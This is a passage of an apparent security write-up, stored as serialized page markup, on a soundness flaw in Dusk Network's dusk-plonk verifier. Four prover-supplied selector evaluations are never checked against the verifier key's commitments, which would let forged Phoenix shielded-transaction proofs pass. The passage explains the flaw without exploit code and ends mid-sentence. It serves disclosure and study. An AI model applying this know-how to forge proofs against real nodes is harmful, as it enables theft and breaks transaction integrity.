construction.",{"type":24,"tag":68,"props":151743,"children":151744},{},[],{"type":24,"tag":228,"props":151746,"children":151748},{"id":151747},"where-dusk-plonk-differs-from-textbook-plonk",[151749],{"type":29,"value":151750},"Where dusk-plonk differs from textbook PLONK",{"type":24,"tag":25,"props":151752,"children":151753},{},[151754,151763,151765,151770,151772,151802],{"type":24,"tag":57,"props":151755,"children":151757},{"href":148629,"rel":151756},[61],[151758],{"type":24,"tag":284,"props":151759,"children":151761},{"className":151760},[],[151762],{"type":29,"value":148633},{"type":29,"value":151764}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":24,"tag":284,"props":151766,"children":151768},{"className":151767},[],[151769],{"type":29,"value":77289},{"type":29,"value":151771},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":24,"tag":284,"props":151773,"children":151775},{"className":151774},[2949,2950],[151776],{"type":24,"tag":327,"props":151777,"children":151779},{"className":151778},[2955],[151780],{"type":24,"tag":327,"props":151781,"children":151783},{"className":151782,"ariaHidden":2961},[2960],[151784],{"type":24,"tag":327,"props":151785,"children":151787},{"className":151786},[2966],[151788,151792,151797],{"type":24,"tag":327,"props":151789,"children":151791},{"className":151790,"style":117615},[2971],[],{"type":24,"tag":327,"props":151793,"children":151795},{"className":151794,"style":120331},[2977,2978],[151796],{"type":29,"value":120334},{"type":24,"tag":327,"props":151798,"children":151800},{"className":151799,"style":100260},[2977,2978],[151801],{"type":29,"value":151464},{"type":29,"value":151803},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":24,"tag":25,"props":151805,"children":151806},{},[151807,151809,151814,151815,151820,151822,151828,151830,151837],{"type":29,"value":151808},"The important part for this bug is the boundary between ",{"type":24,"tag":188,"props":151810,"children":151811},{},[151812],{"type":29,"value":151813},"public circuit data",{"type":29,"value":1323},{"type":24,"tag":188,"props":151816,"children":151817},{},[151818],{"type":29,"value":151819},"prover claims about that data at the random challenge point",{"type":29,"value":151821},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":24,"tag":284,"props":151823,"children":151825},{"className":151824},[],[151826],{"type":29,"value":151827},"Ql, Qr, Qm, Qo, Qk",{"type":29,"value":151829}," directly into the ",{"type":24,"tag":57,"props":151831,"children":151834},{"href":151832,"rel":151833},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[61],[151835],{"type":29,"value":151836},"linearization multi-scalar multiplication",{"type":29,"value":151838},", ensuring their values are cryptographically bound by construction.",{"type":24,"tag":25,"props":151840,"children":151841},{},[151842,151844,151869],{"type":29,"value":151843},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":24,"tag":284,"props":151845,"children":151847},{"className":151846},[2949,2950],[151848],{"type":24,"tag":327,"props":151849,"children":151851},{"className":151850},[2955],[151852],{"type":24,"tag":327,"props":151853,"children":151855},{"className":151854,"ariaHidden":2961},[2960],[151856],{"type":24,"tag":327,"props":151857,"children":151859},{"className":151858},[2966],[151860,151864],{"type":24,"tag":327,"props":151861,"children":151863},{"className":151862,"style":117615},[2971],[],{"type":24,"tag":327,"props":151865,"children":151867},{"className":151866,"style":120331},[2977,2978],[151868],{"type":29,"value":120334},{"type":29,"value":151870}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":24,"tag":25,"props":151872,"children":151873},{},[151874],{"type":29,"value":151875},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":24,"tag":151877,"props":151878,"children":151879},"dusk-verifier-dependence-graph",{},[],{"type":24,"tag":68,"props":151881,"children":151882},{},[],{"type":24,"tag":228,"props":151884,"children":151886},{"id":151885},"how-dusk-uses-plonk",[151887],{"type":29,"value":151888},"How Dusk uses PLONK",{"type":24,"tag":25,"props":151890,"children":151891},{},[151892,151898],{"type":24,"tag":57,"props":151893,"children":151895},{"href":148638,"rel":151894},[61],[151896],{"type":29,"value":151897},"Dusk Network",{"type":29,"value":151899}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":24,"tag":1380,"props":151901,"children":151902},{},[151903,151908],{"type":24,"tag":179,"props":151904,"children":151905},{},[151906],{"type":29,"value":151907},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":24,"tag":179,"props":151909,"children":151910},{},[151911],{"type":29,"value":151912},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":24,"tag":25,"props":151914,"children":151915},{},[151916,151918,151929,151931,151942],{"type":29,"value":151917},"At node level, every ",{"type":24,"tag":57,"props":151919,"children":151922},{"href":151920,"rel":151921},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[61],[151923],{"type":24,"tag":284,"props":151924,"children":151926},{"className":151925},[],[151927],{"type":29,"value":151928},"ProtocolTransaction::Phoenix",{"type":29,"value":151930}," goes through ",{"type":24,"tag":57,"props":151932,"children":151935},{"href":151933,"rel":151934},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[61],[151936],{"type":24,"tag":284,"props":151937,"children":151939},{"className":151938},[],[151940],{"type":29,"value":151941},"verify_proof_with_version()",{"type":29,"value":151943}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":24,"tag":25,"props":151945,"children":151946},{},[151947,151949,151960,151962,151973,151974,151985,151986,151997,151998,152009],{"type":29,"value":151948},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":24,"tag":57,"props":151950,"children":151953},{"href":151951,"rel":151952},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[61],[151954],{"type":24,"tag":284,"props":151955,"children":151957},{"className":151956},[],[151958],{"type":29,"value":151959},"phoenix()",{"type":29,"value":151961},", for example in ",{"type":24,"tag":57,"props":151963,"children":151966},{"href":151964,"rel":151965},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[61],[151967],{"type":24,"tag":284,"props":151968,"children":151970},{"className":151969},[],[151971],{"type":29,"value":151972},"phoenix_stake()",{"type":29,"value":2744},{"type":24,"tag":57,"props":151975,"children":151978},{"href":151976,"rel":151977},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[61],[151979],{"type":24,"tag":284,"props":151980,"children":151982},{"className":151981},[],[151983],{"type":29,"value":151984},"phoenix_stake_reward()",{"type":29,"value":2744},{"type":24,"tag":57,"props":151987,"children":151990},{"href":151988,"rel":151989},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[61],[151991],{"type":24,"tag":284,"props":151992,"children":151994},{"className":151993},[],[151995],{"type":29,"value":151996},"phoenix_unstake()",{"type":29,"value":14054},{"type":24,"tag":57,"props":151999,"children":152002},{"href":152000,"rel":152001},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[61],[152003],{"type":24,"tag":284,"props":152004,"children":152006},{"className":152005},[],[152007],{"type":29,"value":152008},"phoenix_to_moonlight()",{"type":29,"value":152010},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":24,"tag":25,"props":152012,"children":152013},{},[152014],{"type":24,"tag":11511,"props":152015,"children":152018},{"alt":152016,"src":152017},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":24,"tag":25,"props":152020,"children":152021},{},[152022,152024,152030,152032,152039],{"type":29,"value":152023},"The PLONK implementation, ",{"type":24,"tag":57,"props":152025,"children":152028},{"href":152026,"rel":152027},"https://github.com/dusk-network/plonk",[61],[152029],{"type":29,"value":148633},{"type":29,"value":152031},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":24,"tag":57,"props":152033,"children":152036},{"href":152034,"rel":152035},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[61],[152037],{"type":29,"value":152038},"the original paper",{"type":29,"value":152040}," was released.",{"type":24,"tag":25,"props":152042,"children":152043},{},[152044,152046,152052],{"type":29,"value":152045},"The Phoenix transaction PLONK circuit is defined ",{"type":24,"tag":57,"props":152047,"children":152050},{"href":152048,"rel":152049},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[61],[152051],{"type":29,"value":54304},{"type":29,"value":152053},". The circuit enforces the following set of constraints:",{"type":24,"tag":62466,"props":152055,"children":152056},{},[152057,152073],{"type":24,"tag":129725,"props":152058,"children":152059},{},[152060],{"type":24,"tag":129729,"props":152061,"children":152062},{},[152063,152068],{"type":24,"tag":129733,"props":152064,"children":152065},{},[152066],{"type":29,"value":152067},"Circuit check",{"type":24,"tag":129733,"props":152069,"children":152070},{},[152071],{"type":29,"value":152072},"Statement being checked",{"type":24,"tag":129753,"props":152074,"children":152075},{},[152076,152094,152112,152130,152148,152305,152445,152463],{"type":24,"tag":129729,"props":152077,"children":152078},{},[152079,152089],{"type":24,"tag":129760,"props":152080,"children":152081},{},[152082],{"type":24,"tag":57,"props":152083,"children":152086},{"href":152084,"rel":152085},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[61],[152087],{"type":29,"value":152088},"Merkle tree membership",{"type":24,"tag":129760,"props":152090,"children":152091},{},[152092],{"type":29,"value":152093},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":24,"tag":129729,"props":152095,"children":152096},{},[152097,152107],{"type":24,"tag":129760,"props":152098,"children":152099},{},[152100],{"type":24,"tag":57,"props":152101,"children":152104},{"href":152102,"rel":152103},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[61],[152105],{"type":29,"value":152106},"Input-note secret-key authorization",{"type":24,"tag":129760,"props":152108,"children":152109},{},[152110],{"type":29,"value":152111},"The prover knows the secret key controlling each input note",{"type":24,"tag":129729,"props":152113,"children":152114},{},[152115,152125],{"type":24,"tag":129760,"props":152116,"children":152117},{},[152118],{"type":24,"tag":57,"props":152119,"children":152122},{"href":152120,"rel":152121},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[61],[152123],{"type":29,"value":152124},"Nullifier correctness",{"type":24,"tag":129760,"props":152126,"children":152127},{},[152128],{"type":29,"value":152129},"Each nullifier matches the corresponding note key and position",{"type":24,"tag":129729,"props":152131,"children":152132},{},[152133,152143],{"type":24,"tag":129760,"props":152134,"children":152135},{},[152136],{"type":24,"tag":57,"props":152137,"children":152140},{"href":152138,"rel":152139},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[61],[152141],{"type":29,"value":152142},"Output value commitment correctness",{"type":24,"tag":129760,"props":152144,"children":152145},{},[152146],{"type":29,"value":152147},"Each public output commitment matches the secret output value and blinder",{"type":24,"tag":129729,"props":152149,"children":152150},{},[152151,152161],{"type":24,"tag":129760,"props":152152,"children":152153},{},[152154],{"type":24,"tag":57,"props":152155,"children":152158},{"href":152156,"rel":152157},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[61],[152159],{"type":29,"value":152160},"Balance integrity",{"type":24,"tag":129760,"props":152162,"children":152163},{},[152164],{"type":24,"tag":284,"props":152165,"children":152167},{"className":152166},[2949,2950],[152168],{"type":24,"tag":327,"props":152169,"children":152171},{"className":152170},[2955],[152172],{"type":24,"tag":327,"props":152173,"children":152175},{"className":152174,"ariaHidden":2961},[2960],[152176,152216,152256,152288],{"type":24,"tag":327,"props":152177,"children":152179},{"className":152178},[2966],[152180,152184,152189,152193,152203,152207,152212],{"type":24,"tag":327,"props":152181,"children":152183},{"className":152182,"style":3685},[2971],[],{"type":24,"tag":327,"props":152185,"children":152187},{"className":152186,"style":3025},[3018,3023,3024],[152188],{"type":29,"value":115569},{"type":24,"tag":327,"props":152190,"children":152192},{"className":152191,"style":3169},[2992],[],{"type":24,"tag":327,"props":152194,"children":152196},{"className":152195},[2977,29],[152197],{"type":24,"tag":327,"props":152198,"children":152200},{"className":152199},[2977],[152201],{"type":29,"value":152202},"inputs",{"type":24,"tag":327,"props":152204,"children":152206},{"className":152205,"style":2993},[2992],[],{"type":24,"tag":327,"props":152208,"children":152210},{"className":152209},[2998],[152211],{"type":29,"value":384},{"type":24,"tag":327,"props":152213,"children":152215},{"className":152214,"style":2993},[2992],[],{"type":24,"tag":327,"props":152217,"children":152219},{"className":152218},[2966],[152220,152224,152229,152233,152243,152247,152252],{"type":24,"tag":327,"props":152221,"children":152223},{"className":152222,"style":3685},[2971],[],{"type":24,"tag":327,"props":152225,"children":152227},{"className":152226,"style":3025},[3018,3023,3024],[152228],{"type":29,"value":115569},{"type":24,"tag":327,"props":152230,"children":152232},{"className":152231,"style":3169},[2992],[],{"type":24,"tag":327,"props":152234,"children":152236},{"className":152235},[2977,29],[152237],{"type":24,"tag":327,"props":152238,"children":152240},{"className":152239},[2977],[152241],{"type":29,"value":152242},"outputs",{"type":24,"tag":327,"props":152244,"children":152246},{"className":152245,"style":3705},[2992],[],{"type":24,"tag":327,"props":152248,"children":152250},{"className":152249},[3710],[152251],{"type":29,"value":394},{"type":24,"tag":327,"props":152253,"children":152255},{"className":152254,"style":3705},[2992],[],{"type":24,"tag":327,"props":152257,"children":152259},{"className":152258},[2966],[152260,152265,152275,152279,152284],{"type":24,"tag":327,"props":152261,"children":152264},{"className":152262,"style":152263},[2971],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":24,"tag":327,"props":152266,"children":152268},{"className":152267},[2977,29],[152269],{"type":24,"tag":327,"props":152270,"children":152272},{"className":152271},[2977],[152273],{"type":29,"value":152274},"fee",{"type":24,"tag":327,"props":152276,"children":152278},{"className":152277,"style":3705},[2992],[],{"type":24,"tag":327,"props":152280,"children":152282},{"className":152281},[3710],[152283],{"type":29,"value":394},{"type":24,"tag":327,"props":152285,"children":152287},{"className":152286,"style":3705},[2992],[],{"type":24,"tag":327,"props":152289,"children":152291},{"className":152290},[2966],[152292,152296],{"type":24,"tag":327,"props":152293,"children":152295},{"className":152294,"style":121829},[2971],[],{"type":24,"tag":327,"props":152297,"children":152299},{"className":152298},[2977,29],[152300],{"type":24,"tag":327,"props":152301,"children":152303},{"className":152302},[2977],[152304],{"type":29,"value":68686},{"type":24,"tag":129729,"props":152306,"children":152307},{},[152308,152325],{"type":24,"tag":129760,"props":152309,"children":152310},{},[152311,152318,152319],{"type":24,"tag":57,"props":152312,"children":152315},{"href":152313,"rel":152314},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[61],[152316],{"type":29,"value":152317},"Range checks on inputs",{"type":29,"value":1323},{"type":24,"tag":57,"props":152320,"children":152323},{"href":152321,"rel":152322},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[61],[152324],{"type":29,"value":152242},{"type":24,"tag":129760,"props":152326,"children":152327},{},[152328,152330],{"type":29,"value":152329},"All note values lie in ",{"type":24,"tag":284,"props":152331,"children":152333},{"className":152332},[2949,2950],[152334],{"type":24,"tag":327,"props":152335,"children":152337},{"className":152336},[2955],[152338],{"type":24,"tag":327,"props":152339,"children":152341},{"className":152340,"ariaHidden":2961},[2960],[152342,152427],{"type":24,"tag":327,"props":152343,"children":152345},{"className":152344},[2966],[152346,152350,152355,152360,152365,152369,152414,152418,152423],{"type":24,"tag":327,"props":152347,"children":152349},{"className":152348,"style":122086},[2971],[],{"type":24,"tag":327,"props":152351,"children":152353},{"className":152352},[3121],[152354],{"type":29,"value":11329},{"type":24,"tag":327,"props":152356,"children":152358},{"className":152357},[2977],[152359],{"type":29,"value":2988},{"type":24,"tag":327,"props":152361,"children":152363},{"className":152362},[11695],[152364],{"type":29,"value":11698},{"type":24,"tag":327,"props":152366,"children":152368},{"className":152367,"style":3169},[2992],[],{"type":24,"tag":327,"props":152370,"children":152372},{"className":152371},[2977],[152373,152378],{"type":24,"tag":327,"props":152374,"children":152376},{"className":152375},[2977],[152377],{"type":29,"value":10731},{"type":24,"tag":327,"props":152379,"children":152381},{"className":152380},[3032],[152382],{"type":24,"tag":327,"props":152383,"children":152385},{"className":152384},[3037],[152386],{"type":24,"tag":327,"props":152387,"children":152389},{"className":152388},[3043],[152390],{"type":24,"tag":327,"props":152391,"children":152393},{"className":152392,"style":11594},[3048],[152394],{"type":24,"tag":327,"props":152395,"children":152396},{"style":11628},[152397,152401],{"type":24,"tag":327,"props":152398,"children":152400},{"className":152399,"style":3059},[3058],[],{"type":24,"tag":327,"props":152402,"children":152404},{"className":152403},[3064,3065,3066,3067],[152405],{"type":24,"tag":327,"props":152406,"children":152408},{"className":152407},[2977,3067],[152409],{"type":24,"tag":327,"props":152410,"children":152412},{"className":152411},[2977,3067],[152413],{"type":29,"value":36131},{"type":24,"tag":327,"props":152415,"children":152417},{"className":152416,"style":3705},[2992],[],{"type":24,"tag":327,"props":152419,"children":152421},{"className":152420},[3710],[152422],{"type":29,"value":11647},{"type":24,"tag":327,"props":152424,"children":152426},{"className":152425,"style":3705},[2992],[],{"type":24,"tag":327,"props":152428,"children":152430},{"className":152429},[2966],[152431,152435,152440],{"type":24,"tag":327,"props":152432,"children":152434},{"className":152433,"style":3685},[2971],[],{"type":24,"tag":327,"props":152436,"children":152438},{"className":152437},[2977],[152439],{"type":29,"value":3238},{"type":24,"tag":327,"props":152441,"children":152443},{"className":152442},[3143],[152444],{"type":29,"value":22934},{"type":24,"tag":129729,"props":152446,"children":152447},{},[152448,152458],{"type":24,"tag":129760,"props":152449,"children":152450},{},[152451],{"type":24,"tag":57,"props":152452,"children":152455},{"href":152453,"rel":152454},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[61],[152456],{"type":29,"value":152457},"Sender-authorship signatures",{"type":24,"tag":129760,"props":152459,"children":152460},{},[152461],{"type":29,"value":152462},"The transaction payload is signed by the sender's two signing key components",{"type":24,"tag":129729,"props":152464,"children":152465},{},[152466,152476],{"type":24,"tag":129760,"props":152467,"children":152468},{},[152469],{"type":24,"tag":57,"props":152470,"children":152473},{"href":152471,"rel":152472},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[61],[152474],{"type":29,"value":152475},"Sender encryption correctness",{"type":24,"tag":129760,"props":152477,"children":152478},{},[152479],{"type":29,"value":152480},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":24,"tag":25,"props":152482,"children":152483},{},[152484,152486,152492,152494,152503],{"type":29,"value":152485},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":24,"tag":284,"props":152487,"children":152489},{"className":152488},[],[152490],{"type":29,"value":152491},"tx.public_inputs()",{"type":29,"value":152493}," via ",{"type":24,"tag":57,"props":152495,"children":152497},{"href":151933,"rel":152496},[61],[152498],{"type":24,"tag":284,"props":152499,"children":152501},{"className":152500},[],[152502],{"type":29,"value":151941},{"type":29,"value":66},{"type":24,"tag":25,"props":152505,"children":152506},{},[152507],{"type":29,"value":152508},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":24,"tag":68,"props":152510,"children":152511},{},[],{"type":24,"tag":228,"props":152513,"children":152514},{"id":97028},[152515],{"type":29,"value":152516},"The bug",{"type":24,"tag":25,"props":152518,"children":152519},{},[152520,152522,152529,152531,152542],{"type":29,"value":152521},"In the ",{"type":24,"tag":57,"props":152523,"children":152526},{"href":152524,"rel":152525},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[61],[152527],{"type":29,"value":152528},"PLONK verification",{"type":29,"value":152530},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":24,"tag":57,"props":152532,"children":152535},{"href":152533,"rel":152534},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[61],[152536],{"type":24,"tag":284,"props":152537,"children":152539},{"className":152538},[],[152540],{"type":29,"value":152541},"E_evals",{"type":29,"value":152543},") are:",{"type":24,"tag":1380,"props":152545,"children":152546},{},[152547,152579,152604,152629],{"type":24,"tag":179,"props":152548,"children":152549},{},[152550,152556,152557,152563,152564,152570,152571,152577],{"type":24,"tag":284,"props":152551,"children":152553},{"className":152552},[],[152554],{"type":29,"value":152555},"a_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152558,"children":152560},{"className":152559},[],[152561],{"type":29,"value":152562},"b_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152565,"children":152567},{"className":152566},[],[152568],{"type":29,"value":152569},"c_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152572,"children":152574},{"className":152573},[],[152575],{"type":29,"value":152576},"d_eval",{"type":29,"value":152578}," (witness)",{"type":24,"tag":179,"props":152580,"children":152581},{},[152582,152588,152589,152595,152596,152602],{"type":24,"tag":284,"props":152583,"children":152585},{"className":152584},[],[152586],{"type":29,"value":152587},"s_sigma_1_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152590,"children":152592},{"className":152591},[],[152593],{"type":29,"value":152594},"s_sigma_2_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152597,"children":152599},{"className":152598},[],[152600],{"type":29,"value":152601},"s_sigma_3_eval",{"type":29,"value":152603}," (permutation)",{"type":24,"tag":179,"props":152605,"children":152606},{},[152607,152613,152614,152620,152621,152627],{"type":24,"tag":284,"props":152608,"children":152610},{"className":152609},[],[152611],{"type":29,"value":152612},"a_w_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152615,"children":152617},{"className":152616},[],[152618],{"type":29,"value":152619},"b_w_eval",{"type":29,"value":2744},{"type":24,"tag":284,"props":152622,"children":152624},{"className":152623},[],[152625],{"type":29,"value":152626},"d_w_eval",{"type":29,"value":152628}," (shifted witness)",{"type":24,"tag":179,"props":152630,"children":152631},{},[152632,152638],{"type":24,"tag":284,"props":152633,"children":152635},{"className":152634},[],[152636],{"type":29,"value":152637},"z_eval",{"type":29,"value":152639}," (permutation accumulator)",{"type":24,"tag":25,"props":152641,"children":152642},{},[152643,152645,152649],{"type":29,"value":152644},"But the following selector evaluations were ",{"type":24,"tag":42,"props":152646,"children":152647},{},[152648],{"type":29,"value":25999},{"type":29,"value":152650}," included:",{"type":24,"tag":1380,"props":152652,"children":152653},{},[152654,152665,152676,152687],{"type":24,"tag":179,"props":152655,"children":152656},{},[152657,152663],{"type":24,"tag":284,"props":152658,"children":152660},{"className":152659},[],[152661],{"type":29,"value":152662},"q_arith_eval",{"type":29,"value":152664}," (arithmetic selector)",{"type":24,"tag":179,"props":152666,"children":152667},{},[152668,152674],{"type":24,"tag":284,"props":152669,"children":152671},{"className":152670},[],[152672],{"type":29,"value":152673},"q_c_eval",{"type":29,"value":152675}," (constant selector)",{"type":24,"tag":179,"props":152677,"children":152678},{},[152679,152685],{"type":24,"tag":284,"props":152680,"children":152682},{"className":152681},[],[152683],{"type":29,"value":152684},"q_l_eval",{"type":29,"value":152686}," (left selector)",{"type":24,"tag":179,"props":152688,"children":152689},{},[152690,152696],{"type":24,"tag":284,"props":152691,"children":152693},{"className":152692},[],[152694],{"type":29,"value":152695},"q_r_eval",{"type":29,"value":152697}," (right selector)",{"type":24,"tag":25,"props":152699,"children":152700},{},[152701,152703,152710,152711,152718,152719,152726,152727,152734],{"type":29,"value":152702},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":24,"tag":57,"props":152704,"children":152707},{"href":152705,"rel":152706},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[61],[152708],{"type":29,"value":152709},"proof struct",{"type":29,"value":2744},{"type":24,"tag":57,"props":152712,"children":152715},{"href":152713,"rel":152714},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[61],[152716],{"type":29,"value":152717},"transcript absorption",{"type":29,"value":2744},{"type":24,"tag":57,"props":152720,"children":152723},{"href":152721,"rel":152722},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[61],[152724],{"type":29,"value":152725},"arithmetic widget",{"type":29,"value":2744},{"type":24,"tag":57,"props":152728,"children":152731},{"href":152729,"rel":152730},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[61],[152732],{"type":29,"value":152733},"fixed-base ECC widget",{"type":29,"value":152735},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":24,"tag":25,"props":152737,"children":152738},{},[152739,152741,152745],{"type":29,"value":152740},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":24,"tag":42,"props":152742,"children":152743},{},[152744],{"type":29,"value":25999},{"type":29,"value":152746}," bugs:",{"type":24,"tag":1380,"props":152748,"children":152749},{},[152750,152890],{"type":24,"tag":179,"props":152751,"children":152752},{},[152753,152755,152800,152802,152808,152810,152815,152816,152821,152822,152827,152829,152835,152837,152882,152884,152889],{"type":29,"value":152754},"There is no prover-supplied ",{"type":24,"tag":284,"props":152756,"children":152758},{"className":152757},[2949,2950],[152759],{"type":24,"tag":327,"props":152760,"children":152762},{"className":152761},[2955],[152763],{"type":24,"tag":327,"props":152764,"children":152766},{"className":152765,"ariaHidden":2961},[2960],[152767],{"type":24,"tag":327,"props":152768,"children":152770},{"className":152769},[2966],[152771,152775,152780,152785,152790,152795],{"type":24,"tag":327,"props":152772,"children":152774},{"className":152773,"style":3685},[2971],[],{"type":24,"tag":327,"props":152776,"children":152778},{"className":152777},[2977,2978],[152779],{"type":29,"value":320},{"type":24,"tag":327,"props":152781,"children":152783},{"className":152782},[3121],[152784],{"type":29,"value":349},{"type":24,"tag":327,"props":152786,"children":152788},{"className":152787,"style":120331},[2977,2978],[152789],{"type":29,"value":120334},{"type":24,"tag":327,"props":152791,"children":152793},{"className":152792,"style":100260},[2977,2978],[152794],{"type":29,"value":151464},{"type":24,"tag":327,"props":152796,"children":152798},{"className":152797},[3143],[152799],{"type":29,"value":3146},{"type":29,"value":152801}," field at all. ",{"type":24,"tag":284,"props":152803,"children":152805},{"className":152804},[],[152806],{"type":29,"value":152807},"ProofEvaluations",{"type":29,"value":152809}," contains ",{"type":24,"tag":284,"props":152811,"children":152813},{"className":152812},[],[152814],{"type":29,"value":152612},{"type":29,"value":2744},{"type":24,"tag":284,"props":152817,"children":152819},{"className":152818},[],[152820],{"type":29,"value":152619},{"type":29,"value":14054},{"type":24,"tag":284,"props":152823,"children":152825},{"className":152824},[],[152826],{"type":29,"value":152626},{"type":29,"value":152828},", but no ",{"type":24,"tag":284,"props":152830,"children":152832},{"className":152831},[],[152833],{"type":29,"value":152834},"c_w_eval",{"type":29,"value":152836},", so the verifier never consumes an unbound ",{"type":24,"tag":284,"props":152838,"children":152840},{"className":152839},[2949,2950],[152841],{"type":24,"tag":327,"props":152842,"children":152844},{"className":152843},[2955],[152845],{"type":24,"tag":327,"props":152846,"children":152848},{"className":152847,"ariaHidden":2961},[2960],[152849],{"type":24,"tag":327,"props":152850,"children":152852},{"className":152851},[2966],[152853,152857,152862,152867,152872,152877],{"type":24,"tag":327,"props":152854,"children":152856},{"className":152855,"style":3685},[2971],[],{"type":24,"tag":327,"props":152858,"children":152860},{"className":152859},[2977,2978],[152861],{"type":29,"value":320},{"type":24,"tag":327,"props":152863,"children":152865},{"className":152864},[3121],[152866],{"type":29,"value":349},{"type":24,"tag":327,"props":152868,"children":152870},{"className":152869,"style":120331},[2977,2978],[152871],{"type":29,"value":120334},{"type":24,"tag":327,"props":152873,"children":152875},{"className":152874,"style":100260},[2977,2978],[152876],{"type":29,"value":151464},{"type":24,"tag":327,"props":152878,"children":152880},{"className":152879},[3143],[152881],{"type":29,"value":3146},{"type":29,"value":152883}," claim 